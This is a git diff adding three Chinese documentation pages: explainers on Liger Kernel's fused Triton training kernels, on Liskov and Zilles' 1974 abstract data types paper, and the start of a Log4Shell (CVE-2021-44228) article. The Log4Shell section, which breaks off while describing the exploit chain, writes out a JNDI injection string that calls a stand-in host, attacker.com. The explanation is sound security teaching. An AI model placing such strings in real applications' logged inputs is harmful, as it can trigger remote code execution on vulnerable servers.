+ +训练大语言模型(LLM)时,很多人已经知道 [[flash-attention]] / [[flashattention-2]]:它像把 attention 这条**最堵的高速公路**改成了单行隧道——不再把整张 N×N 分数表写进显存,吞吐立刻上去。 + +但车开完全程,还要过一堆**小收费站**:RMSNorm、RoPE、SwiGLU、最后的 Linear + CrossEntropy……每个站都要: + +1. 把数据从 GPU 显存(HBM)搬进片上 SRAM; +2. 算完; +3. 再搬回 HBM; +4. 有时还要**额外租一块巨大的临时仓库**(比如 vocab=256k 时的 logits 张量)。 + +LinkedIn 在 2024 年开源的 **Liger Kernel**([arXiv:2410.10989](https://arxiv.org/abs/2410.10989),[GitHub](https://github.com/linkedin/Liger-Kernel))干的事,就是把这些「小收费站」也用 [[triton-llm]] 重写成**融合 kernel**: + +- **算子融合(kernel fusion)**:多步合成一次 GPU launch,少来回搬货。 +- **原地梯度(in-place gradient)**:算完直接把输入缓冲区覆写成梯度,不另开一张大表。 +- **分块计算(input chunking)**:尤其是最后一层 `Linear + CrossEntropy`,按 chunk 流式投影,**永远不把完整 logits 物化出来**。 + +论文与官方 benchmark 的典型收益(相对 Hugging Face 默认实现): + +| 指标 | 典型提升 | +|------|----------| +| 多卡训练吞吐 | 平均约 **+20%**(Llama3-8B 微调最高约 **+42.8%**) | +| GPU 峰值显存 | 平均约 **-60%**(部分模型 batch 可到原来 2× 以上) | +| 单 kernel | CrossEntropy 约 **3×** 更快、**5×** 更省显存;RMSNorm 约 **7×** 更快 | + +依赖极简:只要 **PyTorch + Triton**,能与 FlashAttention、FSDP、DeepSpeed ZeRO / ZeRO++ 共存。 + +--- + +## 是什么 + +**Liger Kernel: Efficient Triton Kernels for LLM Training**(Pin-Lun Hsu 等,LinkedIn,2024 年 10 月 arXiv,2025 年 ICML CODEML workshop)是一套**专为 LLM 训练定制的 Triton GPU kernel 库**,不是新模型架构,而是**替换训练路径上的「慢且费显存」算子实现**。 + +| 项目 | 内容 | +|------|------| +| 作者团队 | Pin-Lun Hsu, Yun Dai, Vignesh Kothapalli 等(LinkedIn) | +| 实现语言 | [Triton](https://github.com/triton-lang/triton)(见 [[triton-2019]]) | +| 覆盖算子 | RMSNorm、LayerNorm、RoPE、SwiGLU、GeGLU、CrossEntropy、**FusedLinearCrossEntropy (FLCE)** 等 | +| 后训练扩展 | DPO、ORPO、CPO、SimPO、JSD 等 alignment / distillation loss 的融合 kernel | +| 集成方式 | Hugging Face `Trainer` / TRL `SFTTrainer`、Axolotl、LLaMA-Factory 等,常只需 `use_liger=True` | +| 许可证 | 宽松开源(BSD-2-Clause) | + +一句话:**FlashAttention 优化 attention;Liger 优化 attention 之外、每层都会跑、且常被忽视的「配角算子 + 损失层」。** + +--- + +## 为什么重要 + +### 1. 大词表时代的显存杀手:logits 张量 + +现代 LLM 词表动辄 128k–256k。最后一层要把 hidden state `H ∈ R^{B×T×d}` 投影成 `logits ∈ R^{B×T×V}`。 + +以 Gemma 为例(论文数字):单卡、`batch=8`、`seq=4096`、`V=256k`、bf16 时,**仅 logits 就要约 16.8 GB**。而训练峰值显存往往出现在 forward 末尾、backward 释放 activation 之前——**这一块直接把 batch size 和 context length 卡死**。 + +Liger 的 **FusedLinearCrossEntropy (FLCE)** 从不物化完整 logits,是整套库最具「质变感」的 kernel。 + +### 2. 训练栈的「第二梯队」瓶颈 + +在 attention 已被 FlashAttention 优化后,profiler 上常见剩余热点: + +- 每层一次的 **RMSNorm / RoPE**(launch 开销 + 内存带宽); +- **SwiGLU / GeGLU** FFN(前向要存中间激活,反向占显存); +- **CrossEntropy**(softmax + log + 大 vocab 临时缓冲)。 + +这些算子单次不算最贵,但**层数 × 步数**累积后,足以吃掉 10–20% 端到端时间,并抬高峰值显存。 + +### 3. 低门槛、可组合 + +新手:`apply_liger_kernel_to_llama(model)` 或 `use_liger=True` 一行启用。 + +进阶:单独 import `LigerRMSNorm`、`LigerFusedLinearCrossEntropyLoss` 拼自定义模型。 + +这与 [[triton-llm]] 倡导的「tile 级 DSL + autotune」路线一致,降低了写高性能 kernel 的门槛。 + +--- + +## 核心概念 + +### 1. Kernel 融合(Operator Fusion) + +PyTorch 默认路径里,一个「逻辑操作」往往对应**多个 CUDA kernel launch**,每 launch 一次就要完整读写一遍 HBM。 + +Liger 把例如 RMSNorm 的「求 RMS → 归一化 → 乘 γ」合成**单个 Triton kernel**;前向时缓存 RMS 等统计量供反向使用,避免重复扫描张量。 + +类比:原本「称重 → 贴标签 → 打包」三道工序各跑一趟仓库;融合后**一条流水线干完**。 + +### 2. 原地梯度(In-place Gradient Replacement) + +CrossEntropy 的梯度对 logits 有简洁闭式: + +``` +∇_x L = softmax(x) − one_hot(target) +``` + +Liger CE kernel 在 forward 里就算出该梯度,并**直接写回原来存放 logits 的缓冲区**,不再同时保留「logits + grad_logits」两份大数组。 + +配合 **online softmax**(流式维护 max 与 sum,不物化完整 softmax 向量),进一步省显存、提速度。 + +### 3. Fused Linear Cross Entropy(FLCE)与分块 + +标准训练最后两步: + +``` +logits = H @ W^T # H: (B·T, d), W: (V, d) → logits (B·T, V) +loss = CrossEntropy(logits, targets) +``` + +FLCE 把两步合并,并对 `H` **按 chunk 切片**: + +``` +for each chunk h of H: + x = h @ W^T # 只物化 (chunk_size, V) 的 logits + partial_loss, ∇x = CE(x, targets_chunk) + accumulate ∇h, ∇W +``` + +chunk size 按 `BT`、隐藏维 `H`、词表 `V` 动态选取,在**显存峰值**与 **GPU 利用率**之间折中。论文给出启发式:接近 hidden dim 时常更平衡。 + +对 **Medusa** 等多解码头训练尤其关键:每个头都要投影到 vocab,若各物化一份 logits 极易 OOM;FLCE 让多头顶训练可行。 + +### 4. 反向重计算(Recomputation in Backward) + +SwiGLU / GeGLU 前向要算 `SiLU(x₁) ⊙ x₂`(或 GELU 变体)。默认实现为反向保存 `SiLU(x₁)` 等中间结果。 + +Liger 在 backward **用存下来的 x₁、x₂ 重算激活**,以额外算力换显存(与 checkpointing 思想同源)。论文中 seq=16384 时 SwiGLU/GeGLU 峰值显存约降 **1.6×**,速度基本持平。 + +### 5. 正确性工程:不是「快就行」 + +论文专章讨论测试实践: + +- 与 Hugging Face 参考实现对比,fp32 / bf16 设不同 atol/rtol; +- **收敛测试**:小模型完整训练,比对 loss 曲线与权重; +- **连续性(contiguity)**:Triton 直接操作物理内存,非 contiguous 张量会导致 RoPE 等 kernel 静默错误——接入前常需 `.contiguous()`; +- **大维度 int32 溢出**:`program_id * stride` 超 2³¹ 时要转 int64。 + +--- + +## 代码示例 + +### 示例 1:一行给 Hugging Face 模型打补丁(最常用) + +```python +from transformers import AutoModelForCausalLM +from liger_kernel.transformers import apply_liger_kernel_to_llama + +model = AutoModelForCausalLM.from_pretrained( + "meta-llama/Meta-Llama-3-8B-Instruct", + torch_dtype=torch.bfloat16, + device_map="auto", +) + +# 原地替换 RMSNorm、RoPE、SwiGLU、CE、FLCE 等为 Liger Triton 实现 +apply_liger_kernel_to_llama(model) + +# 之后用普通 Trainer / DeepSpeed / FSDP 训练即可 +``` + +等价的 TRL 开关: + +```python +from trl import SFTConfig, SFTTrainer + +trainer = SFTTrainer( + model="meta-llama/Meta-Llama-3-8B", + train_dataset=dataset, + args=SFTConfig( + output_dir="./out", + per_device_train_batch_size=4, + use_liger=True, # 自动加载 AutoLigerKernelForCausalLM + ), +) +trainer.train() +``` + +### 示例 2:手写小模型,单独使用 FLCE(理解分块融合) + +```python +import torch +import torch.nn as nn +from liger_kernel.transformers import LigerFusedLinearCrossEntropyLoss + +# 语言模型头:d=128 维隐藏态,vocab=256 +head = nn.Linear(128, 256, bias=False).cuda() +loss_fn = LigerFusedLinearCrossEntropyLoss() + +# batch=4 个 token 的隐藏向量(已是 lm_head 输入) +hidden = torch.randn(4, 128, requires_grad=True, device="cuda", dtype=torch.bfloat16) +targets = torch.randint(0, 256, (4,), device="cuda") + +# 内部:分 chunk 做 hidden @ W^T,立刻算 CE,不保留完整 logits +loss = loss_fn(head.weight, hidden, targets) +loss.backward() + +# head.weight.grad 与 hidden.grad 已就绪,峰值显存远低于先 materialize logits +``` + +对比朴素写法(**不要在大词表生产路径上用**): + +```python +# 朴素路径:logits (B, T, V) 完整落盘 —— V=256k 时灾难性 +logits = hidden @ head.weight.T # 巨大张量 +loss = torch.nn.functional.cross_entropy(logits, targets) +loss.backward() +``` + +### 示例 3:Triton 风格 — 简化版 Fused RMSNorm 思路(教学用) + +下面不是 Liger 源码,而是帮助理解「融合 + 缓存统计量」的伪 Triton 结构(与 [[triton-llm]] 教程同构): + +```python +import triton +import triton.language as tl + +@triton.jit +def rms_norm_fwd_kernel(x_ptr, y_ptr, rms_ptr, weight_ptr, n_cols, eps, BLOCK: tl.constexpr): + row = tl.program_id(0) + cols = tl.arange(0, BLOCK) + mask = cols < n_cols + + x = tl.load(x_ptr + row * n_cols + cols, mask=mask, other=0.0).to(tl.float32) + rms = tl.sqrt(tl.sum(x * x, axis=0) / n_cols + eps) + tl.store(rms_ptr + row, rms) # 反向复用,避免第二遍扫描 + + w = tl.load(weight_ptr + cols, mask=mask, other=1.0) + y = (x / rms) * w + tl.store(y_ptr + row * n_cols + cols, y, mask=mask) +``` + +Liger 的生产 kernel 还处理多维 stride、bf16/fp32 混合精度、与 Transformer 布局对齐等细节;**思想**是:一次 kernel 完成归一化,并把 RMS **缓存给 backward**。 + +--- + +## 端到端 benchmark 怎么读 + +论文在 4×A100 上对 Alpaca 微调多款 7B–8B 模型(seq=512,bf16,AdamW)。摘录代表性数字: + +| 模型 | batch | 吞吐变化 | 峰值显存变化 | +|------|-------|----------|--------------| +| LLaMA 3-8B | 64 | **+42.8%** | **−54.8%** | +| Qwen2 | 48 | **+25.5%** | **−56.8%** | +| Gemma 7B | 48 | **+11.9%** | **−51.8%** | +| Mistral 7B | 128 | **+27%** | **−21%** | +| Phi-3 | 128 | **+17%** | **−13%** | + +解读要点: + +- 收益与**基线实现质量**有关:HF 路径越「碎」、中间张量越多,Liger 优势越大。 +- 显存省下后,可把 batch 或 seq **再往上推**,吞吐二次受益。 +- 与 FlashAttention 正交:一个管 attention,一个管 norm/FFN/loss;应同时开启。 + +--- + +## 与相关工作的关系 + +```mermaid +flowchart LR + subgraph 训练加速栈 + FA[FlashAttention 系\nattention 内存/算力] + LK[Liger Kernel\nnorm / FFN / CE / FLCE] + DS[DeepSpeed / FSDP\n分片与 ZeRO] + end + FA --> 端到端训练 + LK --> 端到端训练 + DS --> 端到端训练 +``` + +| 对比对象 | 关系 | +|----------|------| +| [[flash-attention]] / [[flashattention-2]] | 互补;Liger 明确支持与 FlashAttention 共存 | +| PyTorch `torch.compile` / Inductor | 都追求融合;Liger 是**手工调优的 domain-specific kernel**,对大词表 CE 等场景更成熟 | +| `efficient_cross_entropy` 等社区方案 | FLCE 的 chunking 思路受其启发(论文致谢 GitHub discussion) | +| CUDA 手写 kernel | Triton 更易维护、跨 GPU autotune;Liger 选择 Triton 换开发效率 | + +--- + +## 踩坑与最佳实践 + +1. **先确认张量 contiguous**:尤其 RoPE 接 `scaled_dot_product_attention` 后,layout 可能非连续,loss 会「能跑但不对」。 +2. **bf16 收敛测试**:kernel 级 atol/rtol 放宽后,仍建议跑几百 step 看 loss 曲线是否与 baseline 重合。 +3. **不要指望推理加速**:Liger 面向**训练**路径;推理瓶颈通常在 decode attention 与 KV cache(见 [[paged-attention-vllm]]),不是 RMSNorm 融合。 +4. **词表越大,FLCE 越值得开**:7B + 32k vocab 可能「有感但不夸张」;128k/256k + 长上下文时往往是**能不能训下去**的分水岭。 +5. **分布式兼容性**:官方测试覆盖 FSDP、DeepSpeed ZeRO;升级 PyTorch/TRL 后留意 patch 函数是否与模型类名匹配。 + +--- + +## 适用 vs 不适用 + +| 场景 | 建议 | +|------|------| +| HF/TRL 上微调 Llama、Qwen、Gemma、Mistral 等 | **强烈推荐** `use_liger=True` 或对应 `apply_liger_kernel_to_*` | +| 超大词表预训练 / SFT | **必看 FLCE** | +| Medusa 等多解码头训练 | **强烈推荐**(避免多头 logits OOM) | +| 自定义 nn.Module、自研训练栈 | 可单独引入 `LigerRMSNorm`、`LigerFusedLinearCrossEntropyLoss` 等 | +| 只做推理部署 | 通常**不需要** | +| 极小模型 / 教学 demo | 收益有限,复杂度不划算 | + +--- + +## 小结 + +Liger Kernel 的核心贡献不是新算法,而是**把 LLM 训练里「每层都跑、却长期被忽视」的算子,用 Triton 做成融合、省显存、易集成的工业级实现**: + +1. **Kernel fusion** 减少 HBM 往返与 launch 开销; +2. **In-place gradient + online softmax** 压缩 CrossEntropy 显存; +3. **FusedLinearCrossEntropy + chunking** 解决大词表 logits 物化问题; +4. **模块化 API** 让新手一行启用、专家可拆 kernel 组装。 + +若你已用上 FlashAttention,却仍在训练时撞显存或吞吐不理想,下一步很值得检查:**最后一层 CE 与各类 Norm/FFN 是否还在走 PyTorch 默认的「多趟收费站」路径**。 + +--- + +## 延伸阅读 + +- 论文:[arXiv:2410.10989](https://arxiv.org/abs/2410.10989) +- 代码:[github.com/linkedin/Liger-Kernel](https://github.com/linkedin/Liger-Kernel) +- 文档:[linkedin.github.io/Liger-Kernel](https://linkedin.github.io/Liger-Kernel/) +- Triton 背景:[[triton-2019]]、[[triton-llm]] +- Attention 优化:[[flash-attention]]、[[flashattention-2]] +- 推理侧 KV 管理:[[paged-attention-vllm]] diff --git a/src/content/docs/papers/liskov-abstraction-1974.md b/src/content/docs/papers/liskov-abstraction-1974.md new file mode 100644 index 000000000..b1d2b0f10 --- /dev/null +++ b/src/content/docs/papers/liskov-abstraction-1974.md @@ -0,0 +1,267 @@ +--- +title: Programming with Abstract Data Types — Liskov & Zilles 1974 抽象数据类型宣言 +来源: https://en.wikipedia.org/wiki/Abstract_data_type +日期: 2026-06-13 +分类: 编程语言 +子分类: 类型与 PL 理论 +难度: 入门 +provenance: pipeline-v3 +--- + +## 是什么 + +1974 年 3 月,MIT 的 **Barbara Liskov** 与 IBM 剑桥系统组的 **Stephen Zilles** 在 *ACM SIGPLAN Notices*(第 9 卷第 4 期,页 50–59)发表了 **Programming with Abstract Data Types**。论文出自他们为**结构化编程**设计一门新语言(后来定名为 **CLU**)的工作,首次把「抽象数据类型(Abstract Data Type, ADT)」写成了可操作的编程语言机制,而不只是教科书里的概念。 + +日常类比:你去银行办业务,柜台只给你**账户号、存款、取款、查余额**这几项操作——你不需要知道金库里钞票怎么码放、账本记在哪种数据库里。若银行明天把账本从纸质换成电子,只要「存款 / 取款」的语义不变,你的用法就不变。**ADT 就是把这种「只暴露操作、隐藏实现」的契约,写进编程语言里。** + +论文要回答的核心问题是:高级语言内置的 `int`、`array` 等抽象永远不够用,语言设计者**不可能提前猜中**所有领域需要的类型。解决办法不是无限往语言里塞新关键字,而是给程序员一种**自己定义新抽象**的机制——在 CLU 里叫 **operation cluster(操作簇,简称 cluster)**。 + +## 历史背景 + +| 时间 | 事件 | +|------|------| +| 1968 | Dijkstra 发表 [[dijkstra-goto-1968]],结构化编程运动兴起 | +| 1971–72 | Wirth 等人推广**逐步求精(stepwise refinement)**:先写抽象机器上的程序,再一层层填实现细节 | +| 1973 | Liskov 在 MIT 技术报告中提出 cluster 雏形,对象放堆上、编译期完整类型检查 | +| 1974-03 | 本文在「Very High Level Languages」研讨会上发表(DOI: [10.1145/942572.807045](https://doi.org/10.1145/942572.807045)) | +| 1975+ | CLU 实现成熟;Java `class`、C++ `class`、Rust `struct` + `impl`、Go 未导出字段等,都可视为 ADT 思想的后裔 | +| 1980s | Guttag 等人发展**代数规范**;Liskov 本人因 CLU 与分布式系统工作获 2008 年图灵奖 | + +论文写于「极高层次语言(very-high-level languages)」热潮之中:目标是把程序员从位运算和内存布局里解放出来,让他**在问题域合适的抽象上思考**。Liskov 与 Zilles 的洞见是:**抽象本身也应该是可扩展的**——语言应像「无限层次的高级语言」,而不是固定抽象清单。 + +## 为什么重要 + +不理解这篇 1974 年的短文,下面这些事很难放在同一张图上: + +- 为什么 Java 的 `List` 接口、Rust 的 `trait`、Go 的「小接口」都在说**行为定义类型**,而不是「这个 struct 里有哪些字段」 +- 为什么「把表示细节藏起来」是模块边界的第一原则,而不是可有可无的编码风格 +- 为什么 [[standard-ml]] 的 `signature` / `structure`、OCaml 的模块、Haskell 的 `data` + 导出列表,都和同一套 ADT 家谱有关 +- 为什么后来 **Liskov 替换原则(LSP)** 讨论的是「子类型能否替换父类型」——名字里的 Liskov 就是本文作者 + +本文还区分了**逻辑结构**与**物理结构**:程序员负责清晰、可维护的逻辑结构;编译器负责映射到高效机器代码。这一分工预见了今天「写可读代码、让编译器优化」的主流做法。 + +## 核心概念 + +### 1. 抽象数据类型(ADT) + +论文给出的定义(意译): + +> 抽象数据类型是一类**抽象对象**,这类对象**完全由其上可执行的操作所刻画**。因此,定义一个 ADT,就是定义刻画该类型的那一组操作。 + +注意三个关键词: + +- **对象(object)**:有身份、可存于变量中、可传参(CLU 里对象在堆上,变量持有引用) +- **操作(operations)**:外界与这类对象交互的**唯一**合法入口 +- **完全刻画**:不允许用户依赖「内部长什么样」——否则抽象就漏了 + +这与维基百科上 ADT 条目一致:ADT 是**数学模型**加上**操作集合**;实现可以换,只要操作语义不变。 + +### 2. 操作簇(operation cluster / cluster) + +ADT 在 CLU 中的实现单元叫 **cluster**,结构上分三块: + +1. **头部(header)**:列出对外可见的操作名(如 `push`, `pop`, `empty`) +2. **表示(rep)**:只在 cluster **内部**可见的数据布局 +3. **操作实现**:创建对象与各项操作的代码 + +只有 cluster 内部的代码能访问 `rep`;集群外的程序**只能通过声明的操作**碰对象。这就是今天说的 **封装(encapsulation)**。 + +### 3. 函数抽象(functional abstraction) + +并非所有过程都绑定在某个 ADT 上。论文把**不隶属于某一抽象类型的操作**称为 **functional abstraction**——例如通用的排序、格式化输出。有了 ADT 之后,「程序里的大多数抽象操作会属于某个类型的操作集」,剩下少数是函数抽象。 + +### 4. 调用语法:`type$operation(object, args...)` + +CLU 用 **`类型名$操作名(参数)`** 调用抽象操作,**第一个参数总是目标对象**。例如 `stack$push(s, token)`。带上类型名是为了: + +- 消歧:多个参数可能是不同 ADT 时,明确操作属于哪个类型 +- 允许不同 ADT 使用同名操作(如多种类型都有 `create`)而不冲突 + +现代语言里 `s.push(token)` 只是语法糖;论文时代的显式写法更利于早期编译器的类型检查。 + +### 5. 类型参数(泛型) + +cluster 可以带 **type parameter**,例如 `stack(element_type: type)` 定义「元素类型可参数化」的栈。实例化时 `stack(integer)` 与 `stack(token)` 是**不同类型**,各自类型检查独立——这是参数化多态,比 C 宏安全得多。 + +### 6. 与结构化编程的关系 + +论文把 ADT 嵌进 **逐步求精** 流程: + +1. 先在「抽象机器」上写程序——这台机器恰好提供你设计好的 ADT 和操作 +2. 再为每个 ADT 写 cluster,把抽象机器「落地」到真实表示 + +这样每一层只关心**当前层的契约**,符合 Dijkstra「一次做一个决定」的原则。ADT 让**数据方面的决定**也可以推迟,而不只是控制流方面的决定。 + +### 7. 逻辑结构 vs 物理结构 + +程序员写的是**逻辑结构**(易读、易改);编译器生成的是**物理结构**(快、省内存)。两者可以不一致,只要工具链保证调试器、类型检查等仍按逻辑结构呈现。论文承认:好逻辑结构不自动等于好性能,但把优化交给编译器比让人手写纠缠在一起更可持续。 + +## 代码示例 + +### 示例 1:论文中的参数化栈 cluster(CLU 语法,节选) + +下面改编自 Liskov & Zilles 论文与后续 CLU 文献中的经典 `stack` 定义,展示 **header + rep + create + operations** 三部分如何拼在一起: + +```text +stack: cluster(element_type: type) + is push, pop, top, erasetop, empty: + + rep(type_param: type) = ( + tp: integer; + e_type: type; + stk: array[1..] of type_param; + ) + + create + s: rep(element_type); + s.tp := 0; + s.e_type := element_type; + return s; + end + + push: operation(s: rep, v: s.e_type); + s.tp := s.tp + 1; + s.stk[s.tp] := v; + return; + end + + pop: operation(s: rep) returns s.e_type; + v: s.e_type := s.stk[s.tp]; + s.tp := s.tp - 1; + return v; + end + + empty: operation(s: rep) returns boolean; + return s.tp = 0; + end +end stack +``` + +**怎么读这段「外星语法」:** + +- `stack(element_type: type)`:定义一个**泛型**栈,元素类型由调用方指定 +- `rep(...)`:**只有** `stack` 这个 cluster 内部能看见 `tp`(栈顶指针)和 `stk` 数组 +- 集群外用户写 `s: stack(integer)` 或 `s: stack(token)`,只能调用 `stack$push(s, x)` 等,**不能**写 `s.tp` +- 若你把 `rep` 从数组改成链表,只要 `push`/`pop`/`empty` 语义不变,用户代码**零修改** + +这就是 ADT 相对「裸结构体 + 全局函数」的胜利:**不变式(invariant)**(如 `0 ≤ tp ≤ length`)被关在 cluster 门内维护。 + +### 示例 2:同一 ADT 思想在现代 TypeScript 中的写法 + +今天多数语言没有 `$` 语法,但契约相同:对外只导出操作,隐藏 `rep`。 + +```typescript +// 文件: stack.ts — 表示细节不导出 +type StackRep = { items: T[] }; + +export function createStack(): StackRep { + return { items: [] }; +} + +export function push(s: StackRep, v: T): void { + s.items.push(v); +} + +export function pop(s: StackRep): T { + if (s.items.length === 0) throw new Error("empty stack"); + return s.items.pop()!; +} + +export function isEmpty(s: StackRep): boolean { + return s.items.length === 0; +} +``` + +```typescript +// 文件: main.ts — 用户层只依赖操作,不碰 items +import { createStack, push, pop, isEmpty } from "./stack"; + +const s = createStack(); +push(s, 1); +push(s, 2); +while (!isEmpty(s)) { + console.log(pop(s)); // 2, then 1 +} +``` + +TypeScript 的 `StackRep` 类型在技术上仍可从模块外访问字段——语言靠**约定**而非硬封装。Java、C#、Rust 用 `private` 字段做到编译器强制;CLU 用 `rep` 作用域做到**语言级**强制。论文 1974 年就坚持:**没有硬边界,抽象会随维护慢慢泄漏。** + +### 示例 3:对比「非 ADT」写法——为什么论文要发明 cluster + +```python +# 反模式:任何人都能破坏栈的不变式 +class Stack: + def __init__(self): + self.items = [] + +def broken_pop(s: Stack): + s.items = [] # 合法 Python,但语义灾难 +``` + +```python +# 更接近 ADT:只暴露方法,内部用 _items 约定私有 +class Stack: + def __init__(self): + self._items: list = [] + + def push(self, v): + self._items.append(v) + + def pop(self): + if not self._items: + raise IndexError("empty") + return self._items.pop() +``` + +Python 的 `_items` 仍是君子协定;CLU / Java / Rust 则让编译器拒绝 `s._items` 式访问。论文的价值在于把「银行柜台」模型**写进语言语义**,而不只是团队规范。 + +## 与 CLU 语言的其他遗产 + +本文是 CLU 设计文档之一,同一语言还影响了: + +- **异常(exception)**:结构化错误处理 +- **迭代器(iterator)**:比单纯 `for` 更灵活的遍历抽象 +- **基于堆的对象 + 强类型**:与 C 结构体数组划清界限 + +Liskov 在 1980 年代 MIT 技术报告 *Abstraction Mechanisms in CLU* 中进一步用编程例子说明**过程抽象、控制抽象、数据抽象**三类抽象如何配合。读 1974 本文可视为理解 CLU 乃至整个「OO 之前的数据抽象」路线的入口。 + +## 常见误解 + +| 误解 | 澄清 | +|------|------| +| ADT = `class` | ADT 是**契约**(操作集);`class` 只是实现契约的一种语言手段。Java `interface` + 多个实现更接近论文精神 | +| ADT 反对性能 | 论文明确区分逻辑/物理结构,并期望编译器优化映射;不是「为了抽象而牺牲速度」 | +| 本文发明了面向对象 | 论文**没有**子类继承;Liskov 后来才系统讨论子类型。ADT 是 **OO 的数据抽象子集**,不是 OO 全体 | +| 只有系统语言需要 ADT | 只要模块边界存在(API、微服务 DTO、配置对象),「只暴露操作」都适用 | + +## 与今日实践的对应 + +| 1974 论文概念 | 现代对应 | +|---------------|----------| +| ADT | API 资源模型、领域实体、protobuf message + service | +| cluster | Java `class`、Rust `struct` + `impl`、Go package + 未导出标识符 | +| `type$op(obj, …)` | `obj.op(…)`、UFCS(Rust)、扩展方法 | +| type parameter | 泛型 `Stack`、TypeScript 泛型 | +| functional abstraction | 无状态的 `fn sort(…)`、工具函数 | +| rep 隐藏 | `private` 字段、Rust 模块隐私、`opaque type` | + +## 学习路径建议 + +1. **先读摘要 + 第 1–2 节**(动机与 ADT 定义),建立「操作刻画类型」直觉 +2. **对照一个你熟悉的语言**:用 Java `interface List` 或 Rust `trait Stack` 手写最小栈,体会「用户看不见 rep」 +3. **读 CLU stack 例子**(上文示例 1 或论文 PDF 全文)——理解 cluster 三段式 +4. 若做分布式系统,再读 Liskov 的 [[vr-1988]] / [[pbft-1999]]——同一位作者,从**数据抽象**走到**复制状态机抽象**,方法论一脉相承 + +## 延伸阅读 + +- 论文 PDF:[Programming with Abstract Data Types](http://jpk.pku.edu.cn/course/sjjg/chapter1/resource/Programming%20with%20Abstract%20Data%20Types.pdf)(Liskov & Zilles, 1974) +- DOI:[10.1145/942572.807045](https://doi.org/10.1145/942572.807045) +- 维基百科:[Abstract data type](https://en.wikipedia.org/wiki/Abstract_data_type) +- CLU 历史:[A History of CLU](https://publications.csail.mit.edu/lcs/pubs/pdf/MIT-LCS-TR-561.pdf)(MIT LCS TR-561) +- 后续机制详解:*Abstraction Mechanisms in CLU*(Liskov, Snyder, Atkinson, Schaffert) +- 结构化编程背景:[[dijkstra-goto-1968]]、Wirth 逐步求精 +- 模块与类型系统后继:[[standard-ml]]、[[hindley-milner]] + +## 一句话总结 + +**Liskov & Zilles 1974 年告诉我们:类型不只是编译器内置的 `int` 和 `array`,而是程序员可以用「操作簇」自行扩展的契约;把表示藏起来、把行为暴露出来,结构化编程才能真正一层层求精而不被实现细节反噬。** diff --git a/src/content/docs/papers/log4shell-cve-2021-44228.md b/src/content/docs/papers/log4shell-cve-2021-44228.md new file mode 100644 index 000000000..09c3f36cd --- /dev/null +++ b/src/content/docs/papers/log4shell-cve-2021-44228.md @@ -0,0 +1,256 @@ +--- +title: Log4Shell (CVE-2021-44228) — 一条日志字符串如何远程控制服务器 +来源: https://logging.apache.org/log4j/2.x/security.html +日期: 2026-06-13 +分类: 安全与隐私 +子分类: 安全与隐私 +难度: 入门 +provenance: pipeline-v3 +--- + +## 是什么 + +**Log4Shell** 是 2021 年 12 月披露的 **Apache Log4j 2** 远程代码执行(RCE)漏洞,编号 **CVE-2021-44228**,CVSS 3.1 评分 **10.0(Critical)**。攻击者只需把一段特殊字符串写进**会被 Log4j 记录的日志**(HTTP 头、User-Agent、表单字段、用户名等),受害 Java 应用在格式化日志时会触发 **JNDI Lookup**,从攻击者控制的 LDAP/RMI 服务器拉取并执行恶意 Java 类——**无需登录、无需已知漏洞链的其他环节**。 + +官方安全公告:[Apache Log4j 2.x Security](https://logging.apache.org/log4j/2.x/security.html)。别名 **Log4Shell**、**LogJam**。由阿里云安全团队 Chen Zhaojun 于 2021 年 11 月报告,12 月 9 日公开后数小时内即出现大规模在野利用。 + +日常类比: + +> 想象公司前台有一本**访客登记簿**(日志系统),规定:若访客在姓名栏写了「请帮我查一下档案室电话:xxx」,前台必须**真的去查电话簿**并把结果抄进本子。 +> 攻击者不在大楼里,只在姓名栏写:`${jndi:ldap://坏人的服务器/恶意指令}`。前台照章办事,按「查电话簿」的规则连到坏人架设的「电话簿服务器」,对方返回的不是电话号码,而是一份**可执行的内部操作手册**(远程 Java 类)。前台员工(JVM)按手册操作,等于把大楼钥匙交给了墙外的人。 +> 最致命的是:登记簿几乎**所有入口**都会写——Web 请求、登录失败、搜索框、甚至 Minecraft 聊天——而 Log4j 在 Java 生态里像「默认登记簿」一样无处不在。 + +一句话:**Log4Shell 把「日志里的模板替换」变成了「远程下载并执行代码」的通道,让写日志这件最不起眼的事成了 RCE 入口。** + +## 为什么重要 + +不理解 Log4Shell,下面这些事都讲不清: + +- 为什么 2021 年 12 月全球 IT 进入「Log4j 紧急响应周」,CISA 与各国 CERT 连夜发通告 +- 为什么一个**日志库**漏洞能影响 VMware、Elastic、Steam、iCloud、各国政府网站——因为 Log4j 2 被嵌在无数 Java 产品里,且**默认配置即可利用** +- 为什么漏洞披露后还接连出现 **CVE-2021-45046**(2.15.0 修复不完整)、**CVE-2021-45105**(DoS)、**CVE-2021-44832**(JDBC Appender)——同一 Lookup 机制的多条攻击面 +- 为什么 **SBOM**(软件物料清单)、**依赖扫描(SCA)**、Sigstore 签名在 2022 年后成为供应链安全标配——Log4Shell 证明「你甚至不知道自己在用 Log4j」 +- 为什么 WAF 规则、`${jndi:` 拦截、JndiLookup 类删除成为临时缓解手段,而**升级 log4j-core** 才是正解 + +受影响版本(`log4j-core`):**2.0-beta9 至 2.14.1**(以及部分 2.12.x / 2.3.x 分支,见官方区间表示)。仅依赖 `log4j-api` 而无 `log4j-core` 的应用**不受此 CVE 影响**。 + +## 核心概念 + +### 1. Log4j 2 与 Lookup 机制 + +**Log4j 2** 是 Java 生态最流行的日志框架之一(Maven 上数千包传递依赖)。除普通 `%m` 打日志外,2.x 支持 **Lookup**:在日志消息或配置里写 `${prefix:name}`,运行时解析并替换为动态值。 + +常见 Lookup 示例: + +| 语法 | 含义 | +|------|------| +| `${java:version}` | 当前 JVM 版本 | +| `${env:USER}` | 环境变量 | +| `${ctx:requestId}` | 线程上下文 MDC | +| `${jndi:ldap://host/obj}` | **JNDI 查询** — Log4Shell 根源 | + +Lookup 不仅出现在配置文件,也会在处理**日志消息正文**时触发——这是攻击面扩大的关键。 + +### 2. JNDI(Java Naming and Directory Interface) + +**JNDI** 是 Java 标准 API,用于按名字查找对象,支持 LDAP、RMI、DNS、CORBA 等协议。正常用途:应用从目录服务获取数据库连接、JMS 工厂等。 + +Log4j 2.0-beta9(2013,[LOG4J2-313](https://issues.apache.org/jira/browse/LOG4J2-313))加入 **JndiLookup**。规则简述: + +- 默认 JNDI 名会加前缀 `java:comp/env/` +- 若 key 中含 **`:`**,则**不加前缀**,直接按完整 URI 解析 + +因此 `${jndi:ldap://attacker.com/a}` 会发起 **LDAP 请求**,从远程加载对象。 + +### 3. 从 JNDI 注入到 RCE 的链条 + +典型利用链(简化): + +```text +1. 攻击者 → 受害应用:User-Agent: 